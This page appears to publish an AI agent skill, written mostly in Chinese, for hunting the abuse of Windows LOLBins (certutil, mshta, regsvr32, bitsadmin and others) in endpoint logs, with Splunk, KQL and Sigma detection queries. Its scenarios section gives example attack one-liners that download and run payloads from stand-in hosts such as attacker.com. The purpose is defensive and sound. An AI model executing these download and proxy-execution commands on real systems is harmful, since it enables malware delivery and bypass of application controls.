Hunting for lolbins execution in endpoint logs

From killvxk/cybersecurity-skills-zh · View interactive version

Hunting for lolbins execution in endpoint logs is an AI agent skill from the GitHub repository killvxk/cybersecurity-skills-zh. 通过分析终端进程创建日志,识别合法 Windows 系统二进制文件(LOLBin)被用于恶意目的的可疑执行模式,狩猎攻击者的 LOLBin 滥用行为。

How to use this skill

Skill file

在终端日志中狩猎 LOLBin 执行

适用场景

前置条件

工作流程

  1. 建立 LOLBin 监控清单:从 LOLBAS 项目整理高风险 LOLBin 列表,优先关注:certutil.exe、mshta.exe、rundll32.exe、regsvr32.exe、msbuild.exe、installutil.exe、cmstp.exe、wmic.exe、wscript.exe、cscript.exe、bitsadmin.exe 和 powershell.exe。
  2. 建立正常使用基线:通过对每个二进制文件 30 天内的命令行参数、父进程和用户上下文进行分析,建立环境中正常 LOLBin 使用的基线。
  3. 狩猎异常参数:搜索带有异常命令行参数的 LOLBin 执行——certutil 带 -urlcache -decode -encode,mshta 带 URL 参数,rundll32 从 temp/用户目录加载 DLL,regsvr32 带 /s /n /u /i:URL。
  4. 分析父子进程关系:识别派生 LOLBin 的异常父进程——例如 outlook.exe 派生 mshta.exe,或 winword.exe 派生 certutil.exe,表明存在武器化文档投递。
  5. 检查非标准路径执行:从非标准路径执行的 LOLBin(复制到 %TEMP%、用户目录)表明存在重命名二进制文件滥用。
  6. 关联网络活动:将 LOLBin 执行与出站网络连接(Sysmon 事件 ID 3)进行关联,识别下载器和 C2 回连。
  7. 评分和优先排序:综合可疑参数、异常父进程、非标准路径和网络活动指标,按异常严重性对发现进行排名。

核心概念

| 概念 | 描述 |

|------|------|

| T1218 | 系统二进制文件代理执行 |

| T1218.001 | 编译 HTML 文件(mshta.exe) |

| T1218.003 | CMSTP |

| T1218.005 | Mshta |

| T1218.010 | Regsvr32(Squiblydoo) |

| T1218.011 | Rundll32 |

| T1127.001 | MSBuild |

| T1197 | BITS 任务(bitsadmin.exe) |

| T1140 | 解混淆/解码文件(certutil.exe) |

| T1059.001 | PowerShell |

| T1059.005 | Visual Basic(wscript/cscript) |

| LOLBAS | 系统内置二进制文件、脚本和库(Living Off the Land Binaries, Scripts and Libraries)项目 |

工具与系统

| 工具 | 用途 |

|------|------|

| Sysmon | 带命令行和哈希日志的进程创建 |

| CrowdStrike Falcon | 带 LOLBin 检测分析的 EDR |

| Microsoft Defender for Endpoint | 内置 LOLBin 滥用检测 |

| Splunk | 基于 SPL 的进程狩猎和异常检测 |

| Elastic Security | 预置 LOLBin 检测规则 |

| LOLBAS 项目 | LOLBin 滥用技术参考数据库 |

| Sigma Rules | 社区 LOLBin 滥用检测规则 |

检测查询

Splunk——高风险 LOLBin 执行

index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
    match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
    match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
    match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
    match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
    match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
    match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
    match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
    1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious

KQL——Microsoft Sentinel LOLBin 狩猎

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Sigma 规则——可疑 LOLBin 命令行

title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
            - '-encode'
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'javascript:'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains|all:
            - '/s'
            - '/i:'
    condition: 1 of selection_*
level: high
tags:
    - attack.defense_evasion
    - attack.t1218

常见场景

  1. certutil 下载器:certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe 用于下载恶意软件,绕过代理过滤器。
  2. mshta HTA 执行:mshta.exe http://attacker.com/malicious.hta 执行包含 VBScript 或 JScript 载荷的远程 HTA 文件。
  3. regsvr32 Squiblydoo:regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll 执行远程 SCT 文件,绕过应用程序白名单。
  4. rundll32 DLL 代理:rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint 通过合法二进制文件执行攻击者 DLL。
  5. MSBuild 内联任务:msbuild.exe C:\Temp\malicious.csproj 执行嵌入在项目文件中的 C# 代码,绕过应用程序控制。
  6. BITS 传输:bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe 使用 BITS 服务隐蔽下载文件。
  7. WMIC XSL 执行:wmic process list /format:evil.xsl 从 XSL 样式表执行 JScript/VBScript。

输出格式

狩猎 ID:TH-LOLBIN-[日期]-[序号]
主机:[主机名]
用户:[账户上下文]
LOLBin:[二进制文件名]
完整路径:[执行路径]
命令行:[完整参数]
父进程:[父镜像和命令行]
检测类别:[download_cradle/proxy_exec/uac_bypass/applocker_bypass]
网络活动:[是/否——如适用,填写目标地址]
风险等级:[严重/高/中/低]
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.